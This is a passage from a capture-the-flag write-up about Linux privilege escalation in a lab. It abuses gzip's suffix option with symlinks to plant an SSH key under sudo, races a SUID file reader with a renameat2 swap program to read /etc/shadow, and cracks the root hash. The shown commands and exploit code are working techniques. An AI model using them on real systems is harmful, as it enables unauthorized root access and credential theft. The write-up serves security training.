-V, --version display version number
-1, --fast compress faster
-9, --best compress better
The only option with input is -S, --suffix=SUF
. The description “use suffix SUF on compressed files” explains that it is the suffix instead of .gz
to add to the path when compressing a file. The -k
option to keep the original file is also handy for testing. Let’s play with these.
$ echo content > file
$ gzip -k -S suffix file
$ ls -la file*
-rw-r--r-- 1 www-data www-data 8 Oct 19 20:46 file
-rw-r--r-- 1 www-data www-data 33 Oct 19 20:46 filesuffix
$ gzip -k -S other/suffix file
gzip: fileother/suffix: No such file or directory
$ mkdir fileother
$ gzip -k file -S other/suffix
$ ls -l fileother
total 4
-rw-r--r-- 1 www-data www-data 33 Oct 19 20:46 suffix
Interesting! By providing slashes in the suffix, we can write into a directory. Let’s generate an authorized_keys
file and try it with a directory traversal:
$ cd /tmp
$ ssh-keygen -f id_rsa
$ cp id_rsa.pub authorized_keys
$ mkdir authorized_keysX
$ ls -la
total 28
drwxrwxrwt 1 root root 4096 Oct 19 13:29 .
drwxr-xr-x 1 root root 4096 Oct 19 13:15 ..
-rw-r--r-- 1 www-data www-data 575 Oct 19 13:29 authorized_keys
drwxr-xr-x 2 www-data www-data 4096 Oct 19 13:29 authorized_keysX
-rw------- 1 www-data www-data 2610 Oct 19 13:29 id_rsa
-rw-r--r-- 1 www-data www-data 575 Oct 19 13:29 id_rsa.pub
$ sudo -u admin gzip -k authorized_keys -S 'X/../../tmp/test.gz'
$ sudo -u admin gzip -d /tmp/test.gz
$ cat test
ssh-rsa AAA...FoE= www-data@aa237a3bcf50
Looking promising… We successfully wrote our SSH key to /tmp/test
. Now just change it to the admin’s ~/.ssh
directory!
$ sudo -u admin gzip -k authorized_keys -S 'X/../../home/admin/.ssh/authorized_keys.gz'
gzip: invalid suffix 'X/../../home/admin/.ssh/authorized_keys.gz'
Suddenly, the command gives an invalid suffix
error. The file cannot be written with this suffix. Checking the gzip source code, we can find out why:
#ifdef MAX_EXT_CHARS
# define MAX_SUFFIX MAX_EXT_CHARS
#else
# define MAX_SUFFIX 30
#endif
...
if (z_len == 0 || z_len > MAX_SUFFIX) {
fprintf(stderr, "%s: invalid suffix '%s'\n", program_name, z_suffix);
do_exit(ERROR);
}
If our suffix is larger than 30 characters, it is blocked! The suffix 'X/../../home/admin/.ssh/authorized_keys.gz'
is 42 characters long, way too much to fit into 30. We cannot exploit this with a path traversal.
Instead, we can combine this new knowledge with our previous idea of symlink. Instead of linking files, we can link the directories and have a much shorter suffix. By linking fileX
to /home/admin/.ssh
, and then gzipping file
with the suffix X/authorized_keys.gz
, the fileX/authorized_keys.gz
path is accessed, and expanded to /home/admin/.ssh/authorized_keys.gz
. This allows us to decompress it in the next step using -d
:
$ cp id_rsa.pub file
$ ln -s /home/admin/.ssh fileX
$ sudo -u admin gzip -k file -S 'X/authorized_keys.gz'
$ sudo -u admin gzip -d /home/admin/.ssh/authorized_keys.gz
Extra note: One player found another clever method that uses the path traversal in multiple steps instead of symlinks. By first writing to /home/admin/.ss
, they are able to continue from that point of the path with smaller suffixes, circumventing the length limit of 30:
$ cp id_rsa.pub authorized_keys
$ mkdir authorized_keysX
$ sudo -u admin gzip -k /tmp/authorized_keys -S 'X/../../home/admin/.ss.gz'
$ sudo -u admin gzip -d /home/admin/.ss.gz
$ sudo -u admin gzip /home/admin/.ss -S 'h/authorized_keys.gz'
$ sudo -u admin gzip -d /home/admin/.ssh/authorized_keys.gz
This has successfully written our SSH public key to /home/admin/.ssh/authorized_keys
. That means we can now log in as admin
through SSH:
$ ssh -i id_rsa admin@localhost
...
$ id
uid=1001(admin) gid=1001(admin) groups=1001(admin),100(users)
$ getflag
Congratulations!
admin's flag is: CTF{5t4Rt3D_fR0m_Th3_b0tT0m_n0w_W3r3_h3R3}
Using getflag
we can obtain the second user flag: CTF{5t4Rt3D_fR0m_Th3_b0tT0m_n0w_W3r3_h3R3}
After becoming the admin
user, we can now read the /opt/superreader
directory. It contains a SUID binary and its C source code:
$ ls -l /opt/super-reader
total 28
-rwsr-x--- 1 root admin 21264 Oct 2 20:25 main
-rw-r----- 1 root admin 2061 Oct 2 20:25 main.c
void error(const char *msg)
{
if (errno)
fprintf(stderr, "\x1b[31m\x1b[1mError\x1b[0m: %s (%s)\n", msg, strerror(errno));
else
fprintf(stderr, "\x1b[31m\x1b[1mError\x1b[0m: %s\n", msg);
exit(1);
}
void status(const char *msg)
{
fprintf(stderr, "\x1b[96m\x1b[1m[~]\x1b[0m %s...\n", msg);
}
void read_file(char *buf, const char *path)
{
FILE *file = fopen(path, "r");
if (file == NULL)
{
error("failed to open file!");
}
fread(buf, 1, 0x100, file);
fclose(file);
}
int main(int argc, char **argv, char **envp)
{
if (argc < 2)
{
error("Usage: super-reader <file>");
}
setreuid(geteuid(), geteuid());
setregid(getegid(), getegid());
// Check path
if (strncmp(argv[1], "/tmp/readerdata", 15) != 0)
{
error("path must start with `/tmp/readerdata`");
}
else if (strstr(argv[1], "..") != NULL)
{
error("path must not contain `..`");
}
// Check symlink
status("Checking for symlink");
struct stat stat_result;
if (lstat(argv[1], &stat_result) == -1)
{
error("failed to get file status!");
}
else if ((stat_result.st_mode & 0xf000) == 0xa000)
{
error("file must not be a symlink!");
}
// Check file permissions
status("Checking file permissions");
if (stat(argv[1], &stat_result) == -1)
{
error("failed to get directory status!");
}
else if (stat_result.st_uid != 0)
{
error("file must be owned root!");
}
// Check content
status("Checking content");
char buf[0x100];
read_file(buf, argv[1]);
if (strstr(buf, "SAFE_TO_READ") == NULL)
{
error("file must contain `SAFE_TO_READ`!");
}
// Read file
status("Reading file");
read_file(buf, argv[1]);
printf("\x1b[3m%s\x1b[0m", buf);
return 0;
}
A SUID binary will execute as the user who owns the file. In this case, that will be root
. It can perform actions as root, such as reading files that we normally cannot as admin
.
We need to specify a path that starts with /tmp/readerdata
. One of the files we find in there is secret.txt
, so let’s try to read it:
$ ls -la /tmp/readerdata
total 12
drwxr-xr-x 1 root root 4096 Oct 2 20:25 .
drwxrwxrwt 1 root root 4096 Oct 20 09:49 ..
-rw------- 1 root root 82 Oct 2 20:25 secret.txt
$ super-reader /tmp/readerdata/secret.txt
[~] Checking for symlink...
[~] Checking file permissions...
[~] Checking content...
[~] Reading file...
SAFE_TO_READ - You gotta try harder than that, your secret lies in the shadows...
$ super-reader /etc/shadow
Error: path must start with `/tmp/readerdata`
It checks various things before opening and reading the file, to try and make sure you cannot read arbitrary files. First, lstat()
is used to check if the path is a symlink. Then, it checks using stat()
if the file is owned by root
. Lastly, it reads the first 0x100 bytes and checks if “SAFE_TO_READ” is inside its contents, after which it is finally read again to be safely displayed.
All these checks make it difficult to read arbitrary files such as /etc/shadow
as root. Looking at the permissions of /tmp/readerdata
, we cannot even write in the directory as admin
. How can we make it read our file?
The trick is in the exact check that is performed on the path. It must start with /tmp/readerdata
, but /tmp/readerdataX
would also be valid! We can write in /tmp
, so we can put this file and run the reader over it:
$ cd /tmp
$ echo 'SAFE_TO_READ content' > readerdataX
$ super-reader /tmp/readerdataX
[~] Checking for symlink...
[~] Checking file permissions...
Error: file must be owned root!
We get a little further, but still hit the problem that the file must be owned by root. Looking at man 2 stat
, we read that:
lstat()
is identical tostat()
, except that if pathname is a symbolic link, then it returns information about the link itself, not the file that the link refers to.
This means that the stat()
call will follow the symlink, and return the owner of the file it points to. We could write a symlink to /etc/shadow
which would pass this check, but it would be blocked by the symlink check that happens earlier.
The symlink check uses lstat()
to check the properties of the file at the specified path. If /tmp/readerdataX
is a symlink to /etc/shadow
, it will detect that and block the attempt. But what will it do if not the file but the directory is a symlink? Let’s say we link /tmp/readerdataX
to /etc
, and then give the path /tmp/readerdataX/shadow
, which should expand to /etc/shadow
. Would it still be recognized as a symlink?
$ ln -s /etc readerdataX
$ super-reader /tmp/readerdataX/shadow
[~] Checking for symlink...
[~] Checking file permissions...
[~] Checking content...
Error: file must contain `SAFE_TO_READ`!
We are getting further! The symlink and permission checks pass, but the file still doesn’t contain SAFE_TO_READ
. We also can’t add users to make it contain this text in /etc/shadow
. How will we ever get past this check?
Enter: Race Conditions. The logic of the C program calls read_file()
twice, first to search for SAFE_TO_READ
and second to print its contents. If we swap out the file for another one during this process, we may fool it before it tries to read the actual file and we swap it back. The idea is as follows:
//! We passed all checks with `/tmp/readerdataX/shadow` pointing to `/etc/shadow`
//! Now move a regular directory named `readerdataX` in its place with a file called `shadow` that contains "SAFE_TO_READ"
// Check content
status("Checking content");
char buf[0x100];
read_file(buf, argv[1]);
if (strstr(buf, "SAFE_TO_READ") == NULL)
{
error("file must contain `SAFE_TO_READ`!");
}
//! The content is verified and now we swap it back
//! `/tmp/readerdataX` points to `/etc/` again, and the code below will follow the symlink
// Read file
status("Reading file");
read_file(buf, argv[1]);
printf("\x1b[3m%s\x1b[0m", buf);
It is a tight window, but we can keep swapping these two states around and keep running the program until it works. One useful feature of Linux is the renameat2
syscall (see man renameat
). It has a RENAME_EXCHANGE
option to atomically exchange two paths (eg. swap them). Running this syscall in a loop between the symlink and directory, we can swap them incredibly fast.
Below is a simple program that takes two arguments to swap two paths as fast as possible.
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>
int main(int argc, char *argv[]) {
if (argc != 3) {
printf("Usage: %s <file1> <file2>\n", argv[0]);
return 1;
}
while (1) {
syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);
}
return 0;
}
// gcc swap.c -o swap -O3 -static
We then need to prepare the two states. First, one where a directory symlink makes the path point to a regular root-owned file (/etc/passwd
), and then another directory that contains a SAFE_TO_READ
file to swap to temporarily:
$ ln -s /etc readerdataX
$ mkdir readerdataX2
$ echo SAFE_TO_READ > readerdataX2/shadow
Now, in the first terminal, we will run the command until it contains the root:
keyword from /etc/shadow
:
while true; do super-reader /tmp/readerdataX/shadow; done
Next, we will start swapping the files rapidly with our swap
binary:
./swap readerdataX readerdataX2
After starting to swap the files, we get all kinds of different error messages randomly, and sometimes it succeeds in reading /etc/shadow
!
Error: file must contain `SAFE_TO_READ`!
[~] Checking for symlink...
[~] Checking file permissions...
[~] Checking content...
Error: file must contain `SAFE_TO_READ`!
[~] Checking for symlink...
[~] Checking file permissions...
Error: file must be owned root!
[~] Checking for symlink...
[~] Checking file permissions...
[~] Checking content...
[~] Reading file...
root:$1$IwHNPu0S$Q/qIYVc/w0fvQPmh4gOjw/:19998:0:99999:7:::
daemon:*:19992:0:99999:7:::
bin:*:19992:0:99999:7:::
sys:*:19992:0:99999:7:::
sync:*:19992:0:99999:7:::
games:*:19992:0:99999:7:::
man:*:19992:0:99999:7:::
lp:*:19992:0:99999:7:::
mail:*:19992:0:996[~] Checking for symlink...
[~] Checking file permissions...
[~] Checking content...
[~] Reading file...
SAFE_TO_READ
Extra note: There was another solution without symlinking directories. Because the stat()
check also happens sequentially, we can Race Condition them just as well. It just takes a few more attempts.
Therefore, we can create a file that is a symlink to /etc/shadow
, and another file that contains SAFE_TO_READ
. If it just so happens that during the symlink check the symlink is read, during the owner check the symlink is followed, during the content check the safe file is read, and finally while displaying the content the symlink is followed, we achieve the same result:
$ cd /tmp
$ mkdir readerdataX && cd readerdataX
$ echo SAFE_TO_READ > a
$ ln -s /etc/shadow b
$ ls -l /tmp/readerdataX
total 4
-rw-r--r-- 1 admin admin 13 Oct 20 11:38 a
lrwxrwxrwx 1 admin admin 11 Oct 20 11:38 b -> /etc/shadow
$ /tmp/swap a b
$ while true; do super-reader /tmp/readerdataX/a; done 2>&1 | grep root:
root:$1$IwHNPu0S$Q/qIYVc/w0fvQPmh4gOjw/:19998:0:99999:7:::
We found the root password hash, and all that’s left is to try and crack it. Using John the Ripper, we can pass the rockyou.txt
wordlist and quickly crack the MD5 password:
$ echo 'root:$1$IwHNPu0S$Q/qIYVc/w0fvQPmh4gOjw/:19998:0:99999:7:::' > shadow
$ john --wordlist=/list/rockyou.txt shadow
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 512/512 AVX512BW 16x3])
Will run 16 OpenMP threads
Note: Passwords longer than 5 [worst case UTF-8] to 15 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
Kangar00ter (?)
1g 0:00:00:08 DONE (2024-10-20 13:26) 0.1206g/s 1299Kp/s 1299Kc/s 1299KC/s Katitho1988..Kalem100288
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
It found the password is “Kangar00ter”! We can log in as root using su root
and run getflag
to get the last flag:
$ su root
Password: Kangar00ter
# id
uid=0(root) gid=0(root) groups=0(root)
# getflag
Congratulations!
root's flag is: CTF{1c_ur_133t_h4ck3r_1337_c0ngr4t5_0n_r00t}
We find our last flag: CTF{1c_ur_133t_h4ck3r_1337_c0ngr4t5_0n_r00t}
This was the finale of our capture the flag! Will you join us next time? Keep an eye on our socials!